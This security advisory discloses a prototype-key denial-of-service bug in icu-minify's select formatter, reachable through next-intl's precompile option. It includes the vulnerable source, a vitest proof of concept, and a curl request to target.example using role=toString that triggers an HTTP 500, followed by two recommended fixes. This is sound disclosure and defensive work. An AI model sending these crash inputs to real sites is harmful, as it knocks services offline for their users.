Summary

icu-minify's runtime formatter resolves select branches by looking up the runtime value as a plain property on a prototype-bearing object. When the value coerces to a key that exists on Object.prototype (e.g. toString, __proto__, constructor, hasOwnProperty, valueOf), the lookup returns a truthy value that short-circuits the ?? options.other fallback, and the downstream iterator crashes with TypeError: nodes is not iterable. Any consumer that forwards user input into a {arg, select, …} placeholder — a common idiom for role, status, type, gender — can be crashed per-request by supplying one of those keys. In Next.js SSR (via next-intl with experimental.messages.precompile) this yields a 500 for the affected render.

Details

Vulnerable code paths

Compilation produces a plain object whose prototype chain includes all Object.prototype members:

// packages/icu-minify/src/compile.tsx:191-199
function compileSelect(node: SelectElement): CompiledNode {
  const options: SelectOptions = {};            // <-- plain object, inherits from Object.prototype

  for (const [key, option] of Object.entries(node.options)) {
    options[key] = compileNodesToNode(option.value);
  }

  return [node.value, TYPE_SELECT, options];
}

At runtime, the formatter looks up the user-controllable value directly on that object:

// packages/icu-minify/src/format.tsx:226-244
function formatSelect<RichTextElement>(
  name: string,
  options: SelectOptions,
  locale: string,
  values: FormatValues<RichTextElement>,
  formatOptions: FormatOptions,
  pluralCtx: PluralContext | undefined
): string | RichTextElement | Array<string | RichTextElement> {
  const value = String(getValue(values, name));               // 234: coerce to string, no sanitization
  const branch: CompiledNode | undefined = options[value] ?? options.other; // 235: unsafe lookup

  if (process.env.NODE_ENV !== 'production' && !branch) {
    throw new Error(
      `No matching branch for select "${name}" with value "${value}"`
    );
  }

  return formatBranch(branch, locale, values, formatOptions, pluralCtx); // 243
}

Because options inherits from Object.prototype, lookups such as options['toString'] return Object.prototype.toString — a truthy Function. The ?? options.other fallback is therefore skipped, and the non-array, non-string branch is passed to formatBranch, which forwards it to formatNodes:

// packages/icu-minify/src/format.tsx:286-308
function formatBranch<RichTextElement>(
  branch: CompiledNode,
  /* … */
) {
  if (typeof branch === 'string') return branch;           // string: fine
  if (branch === TYPE_POUND) return formatNode(/* … */);    // pound: fine
  return formatNodes(branch as Array<CompiledNode>, /* … */); // 301: Function is not iterable
}

// packages/icu-minify/src/format.tsx:73-92
function formatNodes<RichTextElement>(
  nodes: Array<CompiledNode>,
  /* … */
): Array<string | RichTextElement> {
  const result: Array<string | RichTextElement> = [];
  for (const node of nodes) {                              // 82: TypeError: nodes is not iterable
    /* … */
  }
  return result;
}

Five bare-prototype keys reliably crash the formatter in production: toString, __proto__, constructor, hasOwnProperty, valueOf (plus propertyIsEnumerable, isPrototypeOf, toLocaleString). Note the development branch at line 237 (throw new Error('No matching branch for select …')) is bypassed because the inherited function is truthy — so this is not masked in development either.

Why formatPlural is not affected

formatPlural (format.tsx:246-284) looks safe for two independent reasons and does not need to be patched for this specific bug:

1. Exact-match keys use the =${value} prefix (exactKey = '=' + value, line 263), so the attacker would need to supply e.g. =toString, which is not a member of Object.prototype.
2. The category branch uses formatOptions.formatters.getPluralRules(locale, {type}).select(value) which returns a fixed enum (zero|one|two|few|many|other), never attacker-supplied.

The bug is specific to the select path where the raw string value is used as the lookup key.

Reachability

• Direct consumers of icu-minify: any code calling format(compiled, locale, values, …) where values[arg] for a select placeholder comes from user input is vulnerable with no additional preconditions.
• next-intl users who enable experimental.messages.precompile (packages/next-intl/src/plugin/types.tsx:24, wired in packages/next-intl/src/plugin/getNextConfig.tsx:177-293): the runtime at packages/use-intl/src/core/format-message/format-only.tsx forwards directly to icu-minify/format, so t('msg', {role: req.query.role}) against a {role, select, admin {…} other {…}} message crashes the render.

No middleware, type guard, escaping, or framework default stands between user input and the unsafe lookup — values reaches format() unmodified.

PoC

Verified dynamically against packages/icu-minify/src/format.tsx at commit b4aa538 (v4.9.1) with vitest and NODE_ENV=production.

Reproduction (drop into packages/icu-minify/test/poc.test.ts and run pnpm exec vitest run test/poc.test.ts):

import {describe, expect, it} from 'vitest';
import compile from '../src/compile.js';
import format, {type FormatOptions} from '../src/format.js';

const formatters: FormatOptions['formatters'] = {
  getDateTimeFormat: (...a) => new Intl.DateTimeFormat(...a),
  getNumberFormat:   (...a) => new Intl.NumberFormat(...a),
  getPluralRules:    (...a) => new Intl.PluralRules(...a)
};

describe('select prototype-key DoS', () => {
  const compiled = compile('{role, select, admin {Admin} user {User} other {Guest}}');

  for (const key of ['toString', '__proto__', 'constructor', 'hasOwnProperty', 'valueOf']) {
    it(`crashes on role="${key}"`, () => {
      process.env.NODE_ENV = 'production';
      expect(() => format(compiled, 'en', {role: key}, {formatters}))
        .toThrow(TypeError); // "nodes is not iterable"
    });
  }
});

Observed output (each of the 5 keys):

TypeError: nodes is not iterable
    at formatNodes (packages/icu-minify/src/format.tsx:82:22)
    at formatBranch (packages/icu-minify/src/format.tsx:301:10)
    at formatSelect (packages/icu-minify/src/format.tsx:243:10)
    at formatNode (packages/icu-minify/src/format.tsx:150:14)
    at formatNodes (packages/icu-minify/src/format.tsx:83:23)
    at format (packages/icu-minify/src/format.tsx:64:18)

End-to-end Next.js scenario (illustrative — any attacker-controlled role/status/type/gender forwarded into a select placeholder triggers the same exception inside the server render):

// app/[locale]/profile/page.tsx — assume precompile enabled
export default async function Page({searchParams}: {searchParams: Promise<{role?: string}>}) {
  const t = await getTranslations('Profile');
  const {role = 'other'} = await searchParams;
  return <h1>{t('greeting', {role})}</h1>;
  //                         ^^^^^ messages: { "greeting": "{role, select, admin {Hi admin} other {Hi}}" }
}

curl -i 'https://target.example/en/profile?role=toString'
HTTP/1.1 500 Internal Server Error

Impact

• Availability: An unauthenticated attacker can force a 500 response on any page or API route that formats a select ICU message using user-controllable input. Each request fails independently; there is no persistent state corruption or amplification beyond the malicious request.
• Confidentiality / Integrity: None. No data is leaked and no prototype write occurs — this is a prototype-chain read confusion, not a prototype pollution write.
• Scope: Any consumer of icu-minify that passes user input into a select branch is vulnerable. next-intl users are only exposed if they have opted into the experimental experimental.messages.precompile flag.
• Preconditions: Developer must forward untrusted input to a {arg, select, …} placeholder. This is a routine pattern (role, status, gender, type) and the library offers no documentation warning that select keys must be validated against prototype members.

Recommended Fix

Either of the following (defense-in-depth suggests both). Both are one-line, minimal-churn fixes.

1. Use a null-prototype map in compileSelect (and symmetrically in compilePlural) so that no Object.prototype keys can ever be resolved:

// packages/icu-minify/src/compile.tsx
function compileSelect(node: SelectElement): CompiledNode {
-  const options: SelectOptions = {};
+  const options: SelectOptions = Object.create(null);

   for (const [key, option] of Object.entries(node.options)) {
     options[key] = compileNodesToNode(option.value);
   }

   return [node.value, TYPE_SELECT, options];
 }

2. Gate the runtime lookup with Object.prototype.hasOwnProperty.call so the other fallback is reached for any non-own key:

// packages/icu-minify/src/format.tsx
 function formatSelect<RichTextElement>(/* … */) {
   const value = String(getValue(values, name));
-  const branch: CompiledNode | undefined = options[value] ?? options.other;
+  const branch: CompiledNode | undefined =
+    Object.prototype.hasOwnProperty.call(options, value) ? options[value] : options.other;
   /* … */
 }

Option 1 is preferable because it also survives future serialization round-trips (e.g. JSON-hydrated compiled messages) and removes the hazard at the source. Option 2 is a defensive backstop for any code path that constructs SelectOptions from arbitrary JSON at runtime.

No regression is expected in tests — compileSelect never reads back through the prototype chain, and all existing lookups use own properties.

References

• GHSA-r27j-894h-3w3p